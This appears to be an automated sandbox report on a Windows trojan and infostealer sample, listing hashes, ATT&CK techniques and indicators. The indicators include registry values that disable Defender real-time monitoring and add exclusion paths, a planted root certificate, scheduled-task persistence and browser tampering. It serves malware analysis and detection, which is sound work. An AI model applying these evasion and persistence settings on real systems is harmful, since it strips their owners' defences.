a3264b5e44a76b86048741d7902a298a56c72da7ed384e5886103d310dfa1aab

Analysis

max time kernel
150s
max time network
155s
platform
windows7_x64
resource
win7-20220901-en
resource tags

arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
submitted
04/10/2022, 20:03

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
file.exe
Size 7.2MB
Sample221004-ysnsdsccf3
SHA256 a3264b5e44a76b86048741d7902a298a56c72da7ed384e5886103d310dfa1aab
MD5 da04e9fe5f578379fd38f7a33a3a8081
SHA1 fabf1798e975d7e5c8898206ea11c019108c4af3
SHA512 fc83ed752cd2b417a424d70dd406e2a000bb1633dcbdbce32bf88ed9b2ba0a8a726b3de732483ef87a69e5e1b8520b4512089600e87454392bc9e43ac0730a5c
SSDEEP 196608:91OJfvqjCGcEwqsnH/K1Ne/CBldU+Ie+8RW/A:3OJfSmG5hsnuNYCDdke+iWo
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

evasion spyware stealer trojan

Malware Config

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

evasion trojan

Modify Registry

T1112

Modify Existing Service

T1031

Disabling Security Tools

T1089

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe

Windows security bypass 2 TTPs 36 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\ZRxaODbjXejAAfVsBUR = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\ZRxaODbjXejAAfVsBUR = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\eiYaNjTCbhfbMeVB = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\oWxSecJNU = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\biwNYXhGTKCQxjLv = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\QpigBxJgKxUn = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\YNUWFfCEdUiU2 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\eiYaNjTCbhfbMeVB = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	conhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\alLGALgTRSblXywJD = "0"	conhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\biwNYXhGTKCQxjLv = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\alLGALgTRSblXywJD = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	conhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\biwNYXhGTKCQxjLv = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\LsajhStaXkJRC = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\QpigBxJgKxUn = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\YNUWFfCEdUiU2 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\LsajhStaXkJRC = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\oWxSecJNU = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\biwNYXhGTKCQxjLv = "0"	conhost.exe

Executes dropped EXE 4 IoCs

pid	Process
816	Install.exe
320	Install.exe
1920	bFSCFwX.exe
904	eGtBkPi.exe

Checks BIOS information in registry 2 TTPs 1 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe

Loads dropped DLL 8 IoCs

pid	Process
1340	file.exe
816	Install.exe
816	Install.exe
816	Install.exe
816	Install.exe
320	Install.exe
320	Install.exe
320	Install.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Drops file in System32 directory 11 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B398B80134F72209547439DB21AB308D_A4CF52CCA82D7458083F7280801A3A04	eGtBkPi.exe
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	bFSCFwX.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	eGtBkPi.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B398B80134F72209547439DB21AB308D_A4CF52CCA82D7458083F7280801A3A04	eGtBkPi.exe
File created	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	bFSCFwX.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	bFSCFwX.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE

Drops file in Program Files directory 5 IoCs

description	ioc	Process
File created	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	eGtBkPi.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja	eGtBkPi.exe
File created	C:\Program Files (x86)\oWxSecJNU\EQiXuX.dll	eGtBkPi.exe
File created	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	eGtBkPi.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	eGtBkPi.exe

Drops file in Windows directory 3 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\bJbhxhmwQPPePEjnjA.job	schtasks.exe
File created	C:\Windows\Tasks\FTlmQXMDCFpnewAuq.job	schtasks.exe
File created	C:\Windows\Tasks\zeLHdclAQOoTZxj.job	schtasks.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 7 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
960	schtasks.exe
1908	schtasks.exe
1896	schtasks.exe
1324	schtasks.exe
1540	schtasks.exe
1120	schtasks.exe
1908	schtasks.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs	eGtBkPi.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates	eGtBkPi.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates	eGtBkPi.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	eGtBkPi.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script Host\Settings	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	wscript.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{E40D6DCF-AA0D-4639-B6A3-557E0A95356A}\WpadDecisionTime = 2060d2a02cd8d801	eGtBkPi.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs	eGtBkPi.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	eGtBkPi.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates	eGtBkPi.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs	eGtBkPi.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{E40D6DCF-AA0D-4639-B6A3-557E0A95356A}\0a-73-e8-57-79-14	eGtBkPi.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0a-73-e8-57-79-14\WpadDecision = "0"	eGtBkPi.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	eGtBkPi.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	eGtBkPi.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs	eGtBkPi.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	eGtBkPi.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates	eGtBkPi.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs	eGtBkPi.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	eGtBkPi.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	eGtBkPi.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	eGtBkPi.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	eGtBkPi.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates	eGtBkPi.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs	eGtBkPi.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings	eGtBkPi.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	eGtBkPi.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs	eGtBkPi.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs	eGtBkPi.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	eGtBkPi.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs	eGtBkPi.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs	eGtBkPi.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	eGtBkPi.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	eGtBkPi.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs	eGtBkPi.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	eGtBkPi.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f0017000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	eGtBkPi.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{E40D6DCF-AA0D-4639-B6A3-557E0A95356A}\WpadDecisionReason = "1"	eGtBkPi.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{E40D6DCF-AA0D-4639-B6A3-557E0A95356A}\WpadNetworkName = "Network 2"	eGtBkPi.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	eGtBkPi.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates	eGtBkPi.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{E40D6DCF-AA0D-4639-B6A3-557E0A95356A}\WpadDecision = "0"	eGtBkPi.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0a-73-e8-57-79-14\WpadDecisionTime = 2060d2a02cd8d801	eGtBkPi.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	eGtBkPi.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	eGtBkPi.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	eGtBkPi.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0a-73-e8-57-79-14\WpadDecisionReason = "1"	eGtBkPi.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	eGtBkPi.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	eGtBkPi.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs	eGtBkPi.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	eGtBkPi.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{E40D6DCF-AA0D-4639-B6A3-557E0A95356A}	eGtBkPi.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs	eGtBkPi.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs	eGtBkPi.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	eGtBkPi.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	eGtBkPi.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0a-73-e8-57-79-14	eGtBkPi.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host\Settings	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	eGtBkPi.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde	eGtBkPi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436	eGtBkPi.exe

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
1204	powershell.EXE
1204	powershell.EXE
1204	powershell.EXE
1616	powershell.EXE
1616	powershell.EXE
1616	powershell.EXE
1544	powershell.EXE
1544	powershell.EXE
1544	powershell.EXE
1056	powershell.EXE
1056	powershell.EXE
1056	powershell.EXE
904	eGtBkPi.exe
904	eGtBkPi.exe
904	eGtBkPi.exe
904	eGtBkPi.exe
904	eGtBkPi.exe
904	eGtBkPi.exe
904	eGtBkPi.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1204	powershell.EXE
Token: SeDebugPrivilege	1616	powershell.EXE
Token: SeDebugPrivilege	1544	powershell.EXE
Token: SeDebugPrivilege	1056	powershell.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1340 wrote to memory of 816	1340	file.exe	27
PID 1340 wrote to memory of 816	1340	file.exe	27
PID 1340 wrote to memory of 816	1340	file.exe	27
PID 1340 wrote to memory of 816	1340	file.exe	27
PID 1340 wrote to memory of 816	1340	file.exe	27
PID 1340 wrote to memory of 816	1340	file.exe	27
PID 1340 wrote to memory of 816	1340	file.exe	27
PID 816 wrote to memory of 320	816	Install.exe	28
PID 816 wrote to memory of 320	816	Install.exe	28
PID 816 wrote to memory of 320	816	Install.exe	28
PID 816 wrote to memory of 320	816	Install.exe	28
PID 816 wrote to memory of 320	816	Install.exe	28
PID 816 wrote to memory of 320	816	Install.exe	28
PID 816 wrote to memory of 320	816	Install.exe	28
PID 320 wrote to memory of 1160	320	Install.exe	30
PID 320 wrote to memory of 1160	320	Install.exe	30
PID 320 wrote to memory of 1160	320	Install.exe	30
PID 320 wrote to memory of 1160	320	Install.exe	30
PID 320 wrote to memory of 1160	320	Install.exe	30
PID 320 wrote to memory of 1160	320	Install.exe	30
PID 320 wrote to memory of 1160	320	Install.exe	30
PID 320 wrote to memory of 924	320	Install.exe	32
PID 320 wrote to memory of 924	320	Install.exe	32
PID 320 wrote to memory of 924	320	Install.exe	32
PID 320 wrote to memory of 924	320	Install.exe	32
PID 320 wrote to memory of 924	320	Install.exe	32
PID 320 wrote to memory of 924	320	Install.exe	32
PID 320 wrote to memory of 924	320	Install.exe	32
PID 1160 wrote to memory of 864	1160	forfiles.exe	34
PID 1160 wrote to memory of 864	1160	forfiles.exe	34
PID 1160 wrote to memory of 864	1160	forfiles.exe	34
PID 1160 wrote to memory of 864	1160	forfiles.exe	34
PID 1160 wrote to memory of 864	1160	forfiles.exe	34
PID 1160 wrote to memory of 864	1160	forfiles.exe	34
PID 1160 wrote to memory of 864	1160	forfiles.exe	34
PID 924 wrote to memory of 1964	924	forfiles.exe	35
PID 924 wrote to memory of 1964	924	forfiles.exe	35
PID 924 wrote to memory of 1964	924	forfiles.exe	35
PID 924 wrote to memory of 1964	924	forfiles.exe	35
PID 924 wrote to memory of 1964	924	forfiles.exe	35
PID 924 wrote to memory of 1964	924	forfiles.exe	35
PID 924 wrote to memory of 1964	924	forfiles.exe	35
PID 864 wrote to memory of 1868	864	cmd.exe	37
PID 864 wrote to memory of 1868	864	cmd.exe	37
PID 864 wrote to memory of 1868	864	cmd.exe	37
PID 1964 wrote to memory of 1012	1964	cmd.exe	36
PID 1964 wrote to memory of 1012	1964	cmd.exe	36
PID 1964 wrote to memory of 1012	1964	cmd.exe	36
PID 1964 wrote to memory of 1012	1964	cmd.exe	36
PID 1964 wrote to memory of 1012	1964	cmd.exe	36
PID 1964 wrote to memory of 1012	1964	cmd.exe	36
PID 1964 wrote to memory of 1012	1964	cmd.exe	36
PID 864 wrote to memory of 1868	864	cmd.exe	37
PID 864 wrote to memory of 1868	864	cmd.exe	37
PID 864 wrote to memory of 1868	864	cmd.exe	37
PID 864 wrote to memory of 1868	864	cmd.exe	37
PID 1964 wrote to memory of 1072	1964	cmd.exe	39
PID 1964 wrote to memory of 1072	1964	cmd.exe	39
PID 1964 wrote to memory of 1072	1964	cmd.exe	39
PID 1964 wrote to memory of 1072	1964	cmd.exe	39
PID 1964 wrote to memory of 1072	1964	cmd.exe	39
PID 1964 wrote to memory of 1072	1964	cmd.exe	39
PID 1964 wrote to memory of 1072	1964	cmd.exe	39
PID 864 wrote to memory of 1684	864	cmd.exe	38

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1340
- C:\Users\Admin\AppData\Local\Temp\7zS209C.tmp\Install.exe
  .\Install.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:816
- - C:\Users\Admin\AppData\Local\Temp\7zS24A1.tmp\Install.exe
    .\Install.exe /S /site_id "525403"
    3⤵
    - Executes dropped EXE
    - Checks BIOS information in registry
    - Loads dropped DLL
    - Drops file in System32 directory
    - Enumerates system info in registry
    - Suspicious use of WriteProcessMemory
    PID:320
  - - C:\Windows\SysWOW64\forfiles.exe
